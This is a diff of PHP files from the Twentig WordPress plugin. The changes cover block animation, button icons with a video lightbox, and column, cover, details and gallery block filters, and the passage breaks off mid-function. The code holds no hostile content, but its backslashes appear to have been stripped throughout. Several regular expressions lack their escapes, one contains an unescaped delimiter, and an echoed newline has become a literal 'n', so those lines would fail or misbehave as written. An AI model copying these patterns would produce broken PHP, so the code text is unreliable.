+	static $script_enqueued = false;
+	if ( ! $script_enqueued ) {
+		wp_enqueue_script(
+			'tw-block-animation',
+			TWENTIG_ASSETS_URI . '/js/block-animation.js',
+			array(),
+			TWENTIG_VERSION,
+			array(
+				'in_footer' => false,
+				'strategy'  => 'defer',
+			)
+		);
+		$script_enqueued = true;
+	}
+
+	$attributes = $block['attrs'];
+	$animation  = $attributes['twAnimation'];
+	$duration   = $attributes['twAnimationDuration'] ?? '';
+	$delay      = $attributes['twAnimationDelay'] ?? 0;
+
+	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+	$tag_processor->next_tag();
+	$tag_processor->add_class( 'tw-block-animation' );
+	$tag_processor->add_class( sanitize_html_class( 'tw-animation-' . $animation ) );
+
+	if ( $duration ) {
+		$tag_processor->add_class( sanitize_html_class( 'tw-duration-' . $duration ) );
+	}
+
+	if ( $delay ) {
+		$style_attr = $tag_processor->get_attribute( 'style' );
+		$style      = '--tw-animation-delay:' . esc_attr( $delay ) . 's;' . $style_attr;
+		$tag_processor->set_attribute( 'style', $style );
+	}
+
+	return $tag_processor->get_updated_html();
+}
+add_filter( 'render_block', 'twentig_add_block_animation', 10, 2 );
+
+/**
+ * Handles no JavaScript detection.
+ * Adds a style tag element when no JavaScript is detected.
+ */
+function twentig_support_no_script() {
+	echo "<noscript><style>.tw-block-animation{opacity:1;transform:none;clip-path:none;}</style></noscript>n";
+}
+add_action( 'wp_head', 'twentig_support_no_script' );
--- a/twentig/inc/blocks/button.php
+++ b/twentig/inc/blocks/button.php
@@ -0,0 +1,284 @@
+<?php
+/**
+ * Server-side customizations for the `core/button` block.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Filters the button block output.
+ *
+ * @param string $block_content Rendered block content.
+ * @param array  $block         Block object.
+ * @return string Filtered block content.
+ */
+function twentig_filter_button_block( $block_content, $block ) {
+
+	$attributes  = $block['attrs'] ?? array();
+	$icon        = $attributes['twIcon'] ?? '';
+	$show_label  = $attributes['twShowLabel'] ?? true;
+	$open_dialog = $attributes['twOpenDialog'] ?? false;
+
+	if ( empty( $icon ) && $show_label && ! $open_dialog ) {
+		return $block_content;
+	}
+
+	if ( $icon ) {
+		$button_icon = twentig_get_icon( $icon );
+		if ( $button_icon ) {
+			$position = $attributes['twIconPosition'] ?? 'right';
+			$tag_name = $attributes['tagName'] ?? 'a';
+			if ( ! in_array( $tag_name, array( 'a', 'button' ), true ) ) {
+				$tag_name = 'a';
+			}
+
+			if ( 'left' === $position ) {
+				$replacement = $show_label
+					? '$1' . $button_icon . '$2$3'
+					: '$1' . $button_icon . '<span class="tw-button-text screen-reader-text">$2</span>$3';
+			} else {
+				$replacement = $show_label
+					? '$1$2' . $button_icon . '$3'
+					: '$1<span class="tw-button-text screen-reader-text">$2</span>' . $button_icon . '$3';
+			}
+
+			$pattern = sprintf( '/(<%1$s[^>]*>)(.*?)(</%1$s>)/is', preg_quote( $tag_name, '/' ) );
+			$result = preg_replace( $pattern, $replacement, $block_content, 1 );
+
+			if ( null !== $result ) {
+				$block_content = $result;
+			}
+
+			$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+			if ( $tag_processor->next_tag() ) {
+				$tag_processor->add_class( 'tw-has-icon' );
+				$tag_processor->add_class( 'has-icon__' . sanitize_html_class( $icon ) );
+				$block_content = $tag_processor->get_updated_html();
+			}
+		}
+	}
+
+	if ( $open_dialog ) {
+		$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+
+		if ( ! $tag_processor->next_tag( 'a' ) ) {
+			return $block_content;
+		}
+
+		$url = $tag_processor->get_attribute( 'href' );
+
+		if ( empty( $url ) ) {
+			return $block_content;
+		}
+
+		$iframe_src           = '';
+		$video_src            = '';
+		$class_names          = $attributes['className'] ?? '';
+		$lightbox_class_names = 'tw-lightbox-video';
+
+		if ( preg_match( '/(?:youtube.com/(?:(?:v|e(?:mbed)?|shorts|live)/|S*?[?&]v=)|youtu.be/)([a-zA-Z0-9_-]{11})/', $url, $match ) ) {
+			$iframe_src = 'https://www.youtube-nocookie.com/embed/' . esc_attr( $match[1] ) . '?autoplay=1&rel=0';
+			if ( str_contains( $url, 'controls=0' ) ) {
+				$iframe_src .= '&controls=0';
+			}
+			if ( str_contains( $url, '/shorts' ) ) {
+				$lightbox_class_names .= ' tw-lightbox-9-16';
+			}
+		} elseif ( preg_match( '/(?:player.)?vimeo.com/(?:channels/(?:w+/)?|groups/[^/]+/videos/|album/d+/video/|video/|)(d+)/i', $url, $match ) ) {
+			$iframe_src = 'https://player.vimeo.com/video/' . esc_attr( $match[1] ) . '?autoplay=1';
+		} elseif ( preg_match( '/.(?:mp4|webm|ogv)(?:[?#]|$)/i', $url ) ) {
+			$video_src = $url;
+		}
+
+		if ( empty( $iframe_src ) && empty( $video_src ) ) {
+			return $block_content;
+		}
+
+		if ( str_contains( $class_names, 'tw-lightbox-dark' ) ) {
+			$lightbox_class_names .= ' tw-lightbox-dark';
+		}
+
+		if ( str_contains( $class_names, 'tw-lightbox-full' ) ) {
+			$lightbox_class_names .= ' tw-lightbox-full';
+		}
+
+		$tag_processor->remove_attribute( 'href' );
+		$tag_processor->set_attribute( 'data-wp-interactive', 'twentig/modal' );
+
+		$tag_processor->set_attribute(
+			'data-wp-context',
+			wp_json_encode(
+				array(
+					'videoSrc'           => esc_url( $video_src ),
+					'iframeSrc'          => esc_url_raw( $iframe_src ),
+					'lightboxClassNames' => $lightbox_class_names,
+				),
+				JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP
+			)
+		);
+		$tag_processor->set_attribute( 'data-wp-on--click', 'actions.openVideoModal' );
+		$block_content = $tag_processor->get_updated_html();
+
+		$block_content = str_replace( array( '<a ', '</a>' ), array( '<button ', '</button>' ), $block_content );
+
+		add_action( 'wp_footer', 'twentig_video_print_lightbox_overlay' );
+
+		wp_enqueue_script_module(
+			'tw-block-button',
+			TWENTIG_ASSETS_URI . '/blocks/button/view.js',
+			array( '@wordpress/interactivity' ),
+			TWENTIG_VERSION
+		);
+	}
+
+	return $block_content;
+}
+add_filter( 'render_block_core/button', 'twentig_filter_button_block', 10, 2 );
+
+/**
+ * Renders the video lightbox markup.
+ */
+function twentig_video_print_lightbox_overlay() {
+	$close_button_label = __( 'Close', 'twentig' );
+	?>
+	<dialog
+		id="tw-modal-video"
+		class="tw-lightbox-video"
+		data-wp-interactive="twentig/modal"
+		data-wp-context='{}'
+		data-wp-on--close="actions.onCloseVideoModal"
+		data-wp-on--click="actions.closeVideoModal"
+		data-wp-bind--class="state.lightboxClassNames"
+		>
+		<button type="button" aria-label="<?php echo esc_attr( $close_button_label ); ?>" data-wp-on--click="actions.closeVideoModal" class="tw-lightbox-close-button">
+			<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="20" height="20" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg>
+		</button>
+		<div class="tw-lightbox-video-container">
+			<iframe
+				width="1000"
+				allow="autoplay"
+				allowfullscreen
+				data-wp-bind--src="state.iframe"
+				data-wp-bind--hidden="!state.isIframePlaying"
+				hidden
+			></iframe>
+			<video
+				autoplay
+				controls
+				playsinline
+				data-wp-bind--src="state.video"
+				data-wp-bind--hidden="!state.isVideoPlaying"
+				hidden
+			></video>
+		</div>
+	</dialog>
+	<?php
+}
+
+/**
+ * Gets button icons.
+ *
+ * @return array Array of icon data with label and SVG markup.
+ */
+function twentig_get_icons() {
+	$icons = array(
+		'arrow-left' => array(
+			'label' => __( 'Arrow Left', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m7.825 13 5.6 5.6L12 20l-8-8 8-8 1.425 1.4-5.6 5.6H20v2z"></path></svg>',
+		),
+		'arrow-right' => array(
+			'label' => __( 'Arrow Right', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M16.175 13H4v-2h12.175l-5.6-5.6L12 4l8 8-8 8-1.425-1.4z"></path></svg>',
+		),
+		'arrow-up' => array(
+			'label' => __( 'Arrow Up', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M11 20V7.825l-5.6 5.6L4 12l8-8 8 8-1.4 1.425-5.6-5.6V20z"></path></svg>',
+		),
+		'arrow-down' => array(
+			'label' => __( 'Arrow Down', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M11 4v12.175l-5.6-5.6L4 12l8 8 8-8-1.4-1.425-5.6 5.6V4z"></path></svg>',
+		),
+		'arrow-outward' => array(
+			'label' => __( 'Arrow Outward', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M6.4 18 5 16.6 14.6 7H6V5h12v12h-2V8.4z"></path></svg>',
+		),
+		'external' => array(
+			'label' => __( 'External', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M5 21q-.824 0-1.412-.587A1.93 1.93 0 0 1 3 19V5q0-.824.587-1.412A1.93 1.93 0 0 1 5 3h7v2H5v14h14v-7h2v7q0 .824-.587 1.413A1.93 1.93 0 0 1 19 21zm4.7-5.3-1.4-1.4L17.6 5H14V3h7v7h-2V6.4z"></path></svg>',
+		),
+		'arrow-alt-left' => array(
+			'label' => __( 'Arrow Left Alt', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m10 18-6-6 6-6 1.4 1.45L7.85 11H20v2H7.85l3.55 3.55z"></path></svg>',
+		),
+		'arrow-alt-right' => array(
+			'label' => __( 'Arrow Right Alt', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m14 18-1.4-1.45L16.15 13H4v-2h12.15L12.6 7.45 14 6l6 6z"></path></svg>',
+		),
+		'arrow-alt-up' => array(
+			'label' => __( 'Arrow Up Alt', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M11 20V7.8l-3.6 3.6L6 10l6-6 6 6-1.4 1.4L13 7.8V20z"></path></svg>',
+		),
+		'arrow-alt-down' => array(
+			'label' => __( 'Arrow Down Alt', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m12 20-6-6 1.4-1.4 3.6 3.6V4h2v12.2l3.6-3.6L18 14z"></path></svg>',
+		),
+		'arrow-alt-outward' => array(
+			'label' => __( 'Arrow Outward Alt', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M16 14.45h2V6H9.55v2h5.05L6 16.6 7.4 18 16 9.4z"></path></svg>',
+		),
+		'download' => array(
+			'label' => __( 'Download', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m12 16-5-5 1.4-1.45 2.6 2.6V4h2v8.15l2.6-2.6L17 11zm-6 4q-.824 0-1.412-.587A1.93 1.93 0 0 1 4 18v-3h2v3h12v-3h2v3q0 .824-.587 1.413A1.93 1.93 0 0 1 18 20z"></path></svg>',
+		),
+		'chevron-left' => array(
+			'label' => __( 'Chevron Left', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m13.6 18-6-6 6-6L15 7.4 10.4 12l4.6 4.6z"></path></svg>',
+		),
+		'chevron-right' => array(
+			'label' => __( 'Chevron Right', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13.6 12 9 7.4 10.4 6l6 6-6 6L9 16.6z"></path></svg>',
+		),
+		'chevron-up' => array(
+			'label' => __( 'Chevron Up', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M12 10.4 7.4 15 6 13.6l6-6 6 6-1.4 1.4z"></path></svg>',
+		),
+		'chevron-down' => array(
+			'label' => __( 'Chevron Down', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m12 16.4-6-6L7.4 9l4.6 4.6L16.6 9l1.4 1.4z"></path></svg>',
+		),
+		'play' => array(
+			'label' => __( 'Play', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M8 19V5l11 7z"></path></svg>',
+		),
+		'play-circle' => array(
+			'label' => __( 'Play Circle', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m9.5 16.5 7-4.5-7-4.5zM12 22a9.7 9.7 0 0 1-3.9-.788 10.1 10.1 0 0 1-3.175-2.137q-1.35-1.35-2.137-3.175A9.7 9.7 0 0 1 2 12q0-2.075.788-3.9a10.1 10.1 0 0 1 2.137-3.175q1.35-1.35 3.175-2.137A9.7 9.7 0 0 1 12 2q2.075 0 3.9.788a10.1 10.1 0 0 1 3.175 2.137q1.35 1.35 2.137 3.175A9.7 9.7 0 0 1 22 12a9.7 9.7 0 0 1-.788 3.9 10.1 10.1 0 0 1-2.137 3.175q-1.35 1.35-3.175 2.137A9.7 9.7 0 0 1 12 22"></path></svg>',
+		),
+		'mail' => array(
+			'label' => __( 'Mail', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M20 4q.825 0 1.412.588Q22 5.176 22 6v12q0 .825-.588 1.412A1.93 1.93 0 0 1 20 20H4q-.824 0-1.412-.588A1.93 1.93 0 0 1 2 18V6q0-.824.588-1.412A1.93 1.93 0 0 1 4 4zm-8 11L4 9v9h16V9zM4 7l8 6 8-6V6H4z"></path></svg>',
+		),
+		'phone' => array(
+			'label' => __( 'Phone', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M19.95 21q.45 0 .75-.3t.3-.75V15.9a.88.88 0 0 0-.225-.588 1.16 1.16 0 0 0-.575-.362l-3.45-.7a1.6 1.6 0 0 0-.712.063 1.4 1.4 0 0 0-.588.337L13.1 17a16 16 0 0 1-1.8-1.213 18 18 0 0 1-1.625-1.437 18 18 0 0 1-1.513-1.662A12 12 0 0 1 6.975 10.9L9.4 8.45q.2-.2.275-.475T9.7 7.3l-.65-3.5a.9.9 0 0 0-.325-.562A.93.93 0 0 0 8.1 3H4.05q-.45 0-.75.3t-.3.75q0 3.125 1.362 6.175t3.863 5.55 5.55 3.862T19.95 21"></path></svg>',
+		),
+		'heart' => array(
+			'label' => __( 'Heart', 'twentig' ),
+			'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m12 19.25-1.042-.937a104 104 0 0 1-3.437-3.178q-1.355-1.322-2.136-2.354-.78-1.031-1.083-1.885A5.2 5.2 0 0 1 4 9.146Q4 7.292 5.27 6.02q1.273-1.27 3.127-1.27 1.02 0 1.979.438.958.435 1.625 1.229a4.6 4.6 0 0 1 1.625-1.23 4.7 4.7 0 0 1 1.98-.437q1.853 0 3.124 1.27Q20 7.293 20 9.147q0 .895-.292 1.729-.291.834-1.073 1.854-.78 1.02-2.145 2.365a112 112 0 0 1-3.49 3.26z"></path></svg>',
+		),
+	);
+	return $icons;
+}
+
+/**
+ * Gets a specific icon's SVG markup.
+ *
+ * @param string $icon_name Icon identifier.
+ * @return string Icon SVG markup or empty string if not found.
+ */
+function twentig_get_icon( $icon_name ) {
+	$icons = twentig_get_icons();
+	return $icons[ $icon_name ]['icon'] ?? '';
+}
--- a/twentig/inc/blocks/columns.php
+++ b/twentig/inc/blocks/columns.php
@@ -1,19 +1,19 @@
-<?php
-/**
- * Fix columns core spacing.
- * @see https://github.com/WordPress/gutenberg/issues/45277
- *
- * @package twentig
- */
-
-defined( 'ABSPATH' ) || exit;
-
-function twentig_fix_columns_default_gap( $metadata ) {
-	if ( isset( $metadata['name'] ) && $metadata['name'] === 'core/columns' ) {
-		if ( isset( $metadata['supports']['spacing']['blockGap'] ) && is_array( $metadata['supports']['spacing']['blockGap'] ) ) {
-			$metadata['supports']['spacing']['blockGap']['__experimentalDefault'] = 'var(--wp--style--columns-gap-default,2em)';
-		}
-	}
-	return $metadata;
-}
-add_filter( 'block_type_metadata', 'twentig_fix_columns_default_gap' );
+<?php
+/**
+ * Fix columns core spacing.
+ * @see https://github.com/WordPress/gutenberg/issues/45277
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+function twentig_fix_columns_default_gap( $metadata ) {
+	if ( isset( $metadata['name'] ) && $metadata['name'] === 'core/columns' ) {
+		if ( isset( $metadata['supports']['spacing']['blockGap'] ) && is_array( $metadata['supports']['spacing']['blockGap'] ) ) {
+			$metadata['supports']['spacing']['blockGap']['__experimentalDefault'] = 'var(--wp--style--columns-gap-default,2em)';
+		}
+	}
+	return $metadata;
+}
+add_filter( 'block_type_metadata', 'twentig_fix_columns_default_gap' );
--- a/twentig/inc/blocks/cover.php
+++ b/twentig/inc/blocks/cover.php
@@ -1,63 +1,63 @@
-<?php
-/**
- * Server-side customizations for the `core/cover` block.
- *
- * @package twentig
- */
-
-defined( 'ABSPATH' ) || exit;
-
-/**
- * Filters the cover block output to add responsive image sizes.
- *
- * @param string $block_content Rendered block content.
- * @param array  $block         Block object.
- * @return string Filtered block content.
- */
-function twentig_filter_cover_block( $block_content, $block ) {
-
-	$attributes = $block['attrs'] ?? array();
-	$image_id = $attributes['id'] ?? null;
-
-	if ( ! $image_id && ! empty( $attributes['useFeaturedImage'] ) ) {
-		$image_id = get_post_thumbnail_id();
-	}
-
-	if ( ! $image_id ) {
-		return $block_content;
-	}
-
-	$image_meta = wp_get_attachment_metadata( $image_id );
-
-	if ( ! $image_meta || empty( $image_meta['width'] ) ) {
-		return $block_content;
-	}
-
-	$width = absint( $image_meta['width'] );
-
-	if ( ! $width ) {
-		return $block_content;
-	}
-
-	$sizes = sprintf(
-		'(max-width: 799px) 200vw, (max-width: %1$dpx) 100vw, %1$dpx',
-		$width
-	);
-
-	if ( ! empty( $attributes['style']['dimensions']['aspectRatio'] ) ) {
-		$sizes = sprintf(
-			'(max-width: 799px) 125vw, (max-width: %1$dpx) 100vw, %1$dpx',
-			$width
-		);
-	}
-
-	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
-
-	if ( $tag_processor->next_tag( 'img' ) ) {
-		$tag_processor->set_attribute( 'sizes', $sizes );
-		$block_content = $tag_processor->get_updated_html();
-	}
-
-	return $block_content;
-}
-add_filter( 'render_block_core/cover', 'twentig_filter_cover_block', 10, 2 );
+<?php
+/**
+ * Server-side customizations for the `core/cover` block.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Filters the cover block output to add responsive image sizes.
+ *
+ * @param string $block_content Rendered block content.
+ * @param array  $block         Block object.
+ * @return string Filtered block content.
+ */
+function twentig_filter_cover_block( $block_content, $block ) {
+
+	$attributes = $block['attrs'] ?? array();
+	$image_id = $attributes['id'] ?? null;
+
+	if ( ! $image_id && ! empty( $attributes['useFeaturedImage'] ) ) {
+		$image_id = get_post_thumbnail_id();
+	}
+
+	if ( ! $image_id ) {
+		return $block_content;
+	}
+
+	$image_meta = wp_get_attachment_metadata( $image_id );
+
+	if ( ! $image_meta || empty( $image_meta['width'] ) ) {
+		return $block_content;
+	}
+
+	$width = absint( $image_meta['width'] );
+
+	if ( ! $width ) {
+		return $block_content;
+	}
+
+	$sizes = sprintf(
+		'(max-width: 799px) 200vw, (max-width: %1$dpx) 100vw, %1$dpx',
+		$width
+	);
+
+	if ( ! empty( $attributes['style']['dimensions']['aspectRatio'] ) ) {
+		$sizes = sprintf(
+			'(max-width: 799px) 125vw, (max-width: %1$dpx) 100vw, %1$dpx',
+			$width
+		);
+	}
+
+	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+
+	if ( $tag_processor->next_tag( 'img' ) ) {
+		$tag_processor->set_attribute( 'sizes', $sizes );
+		$block_content = $tag_processor->get_updated_html();
+	}
+
+	return $block_content;
+}
+add_filter( 'render_block_core/cover', 'twentig_filter_cover_block', 10, 2 );
--- a/twentig/inc/blocks/details.php
+++ b/twentig/inc/blocks/details.php
@@ -1,43 +1,44 @@
-<?php
-/**
- * Server-side customizations for the `core/details` block.
- *
- * @package twentig
- */
-
-defined( 'ABSPATH' ) || exit;
-
-/**
- * Filters the details block output.
- *
- * @param string $block_content Rendered block content.
- * @param array  $block         Block object.
- * @return string Filtered block content.
- */
-function twentig_filter_details_block( $block_content, $block ) {
-	$icon_type = $block['attrs']['twIcon'] ?? '';
-
-	if ( empty( $icon_type ) ) {
-		return $block_content;
-	}
-
-	$icon_position = $block['attrs']['twIconPosition'] ?? 'right';
-	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
-	$tag_processor->next_tag();
-	$tag_processor->add_class( 'tw-has-icon' );
-
-	if ( 'left' === $icon_position ) {
-		$tag_processor->add_class( 'tw-has-icon-left' );
-	}
-
-	$block_content = $tag_processor->get_updated_html();
-
-	$icon_svg = '<svg class="details-arrow" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="m12 15.375-6-6 1.4-1.4 4.6 4.6 4.6-4.6 1.4 1.4-6 6Z"></path></svg>';
-	if ( 'plus' === $icon_type ) {
-		$icon_svg = '<svg class="details-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path class="plus-vertical" d="M11 6h2v12h-2z"/><path d="M6 11h12v2H6z"/></svg>';
-	} elseif ( 'plus-circle' === $icon_type ) {
-		$icon_svg = '<svg class="details-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="M12 3.75c4.55 0 8.25 3.7 8.25 8.25s-3.7 8.25-8.25 8.25-8.25-3.7-8.25-8.25S7.45 3.75 12 3.75M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2Z" /><path d="M11.125 7.5h1.75v9h-1.75z" class="plus-vertical" /><path d="M7.5 11.125h9v1.75h-9z" /></svg>';
-	}
-	return str_replace( '</summary>', $icon_svg . '</summary>', $block_content );
-}
-add_filter( 'render_block_core/details', 'twentig_filter_details_block', 10, 2 );
+<?php
+/**
+ * Server-side customizations for the `core/details` block.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Filters the details block output.
+ *
+ * @param string $block_content Rendered block content.
+ * @param array  $block         Block object.
+ * @return string Filtered block content.
+ */
+function twentig_filter_details_block( $block_content, $block ) {
+	$icon_type = $block['attrs']['twIcon'] ?? '';
+
+	if ( empty( $icon_type ) ) {
+		return $block_content;
+	}
+
+	$icon_position = $block['attrs']['twIconPosition'] ?? 'right';
+	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+	$tag_processor->next_tag();
+	$tag_processor->add_class( 'tw-has-icon' );
+	$tag_processor->add_class( 'tw-icon-' . sanitize_html_class( $icon_type ) );
+
+	if ( 'left' === $icon_position ) {
+		$tag_processor->add_class( 'tw-has-icon-left' );
+	}
+
+	$block_content = $tag_processor->get_updated_html();
+
+	$icon_svg = '<svg class="details-arrow" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="m12 15.4-6-6L7.4 8l4.6 4.6L16.6 8 18 9.4z"></path></svg>';
+	if ( 'plus' === $icon_type ) {
+		$icon_svg = '<svg class="details-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path class="plus-vertical" d="M11 6h2v12h-2z"/><path d="M6 11h12v2H6z"/></svg>';
+	} elseif ( 'plus-circle' === $icon_type ) {
+		$icon_svg = '<svg class="details-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="M12 2c5.523 0 10 4.477 10 10s-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2m0 1.75a8.25 8.25 0 1 0 0 16.5 8.25 8.25 0 0 0 0-16.5" /><path d="M11.125 7.5h1.75v9h-1.75z" class="plus-vertical" /><path d="M7.5 11.125h9v1.75h-9z" /></svg>';
+	}
+	return str_replace( '</summary>', $icon_svg . '</summary>', $block_content );
+}
+add_filter( 'render_block_core/details', 'twentig_filter_details_block', 10, 2 );
--- a/twentig/inc/blocks/gallery.php
+++ b/twentig/inc/blocks/gallery.php
@@ -1,61 +1,234 @@
-<?php
-/**
- * Server-side customizations for the `core/gallery` block.
- *
- * @package twentig
- */
-
-defined( 'ABSPATH' ) || exit;
-
-/**
- * Filters the gallery block output.
- *
- * @param string $block_content Rendered block content.
- * @param array  $block         Block object.
- * @return string Filtered block content.
- */
-function twentig_filter_gallery_block( $block_content, $block ) {
-
-	$attributes = $block['attrs'] ?? array();
-	$layout     = $attributes['twLayout'] ?? null;
-	$animation  = $attributes['twAnimation'] ?? '';
-
-	$scale_contain = isset( $block['attrs']['twImageRatio'] ) && false === ( $block['attrs']['imageCrop'] ?? true );
-	if ( $scale_contain ) {
-		$block_content = str_replace( 'scaleAttr":false', 'scaleAttr":"contain"', $block_content );
-	}
-
-	if ( ! $animation ) {
-		return $block_content;
-	}
-
-	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
-	$tag_processor->next_tag();
-
-	$duration = $attributes['twAnimationDuration'] ?? '';
-	$delay    = $attributes['twAnimationDelay'] ?? 0;
-
-	$tag_processor->set_bookmark( 'tw-gallery' );
-	$tag_processor->remove_class( 'tw-block-animation' );
-
-	while ( $tag_processor->next_tag( 'figure' ) ) {
-		if ( ! $tag_processor->has_class( 'tw-block-animation' ) ) {
-			$tag_processor->add_class( 'tw-block-animation' );
-			$tag_processor->add_class( 'tw-animation-' . $animation );
-
-			if ( $duration ) {
-				$tag_processor->add_class( 'tw-duration-' . $duration );
-			}
-
-			if ( $delay ) {
-				$style_attr = $tag_processor->get_attribute( 'style' );
-				$style      = '--tw-animation-delay:' . esc_attr( $delay ) . 's;' . $style_attr;
-				$tag_processor->set_attribute( 'style', $style );
-			}
-		}
-	}
-	$tag_processor->seek( 'tw-gallery' );
-	$block_content = $tag_processor->get_updated_html();
-	return $block_content;
-}
-add_filter( 'render_block_core/gallery', 'twentig_filter_gallery_block', 10, 2 );
+<?php
+/**
+ * Server-side customizations for the `core/gallery` block.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Sets the lightbox scale attribute to "contain" for images inside a gallery
+ * that has an aspect ratio with image crop disabled.
+ *
+ * @param string $block_content The block content.
+ * @param array  $block         The full block, including name and attributes.
+ * @return string The unmodified block content.
+ */
+function twentig_gallery_image_scale_attr( $block_content, $block ) {
+	$attributes    = $block['attrs'] ?? array();
+	$scale_contain = isset( $attributes['aspectRatio'] ) && false === ( $attributes['imageCrop'] ?? true );
+	if ( ! $scale_contain ) {
+		return $block_content;
+	}
+
+	$processor = new WP_HTML_Tag_Processor( $block_content );
+	$metadata  = array();
+	while ( $processor->next_tag( array( 'tag_name' => 'figure', 'class_name' => 'wp-block-image' ) ) ) {
+		$context = $processor->get_attribute( 'data-wp-context' );
+		if ( $context ) {
+			$data = json_decode( html_entity_decode( $context ), true );
+			if ( ! empty( $data['imageId'] ) ) {
+				$metadata[ $data['imageId'] ] = array( 'scaleAttr' => 'contain' );
+			}
+		}
+	}
+	if ( $metadata ) {
+		wp_interactivity_state( 'core/image', array( 'metadata' => $metadata ) );
+	}
+	return $block_content;
+}
+add_filter( 'render_block_core/gallery', 'twentig_gallery_image_scale_attr', 10, 2 );
+
+/**
+ * Filters the gallery block output.
+ *
+ * @param string $block_content Rendered block content.
+ * @param array  $block         Block object.
+ * @return string Filtered block content.
+ */
+function twentig_filter_gallery_block( $block_content, $block ) {
+
+	$attributes = $block['attrs'] ?? array();
+	$layout     = $attributes['twLayout'] ?? null;
+	$animation  = $attributes['twAnimation'] ?? '';
+
+	if ( ! $layout && ! $animation ) {
+		return $block_content;
+	}
+
+	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+	$tag_processor->next_tag();
+
+	if ( $animation && 'carousel' !== $layout ) {
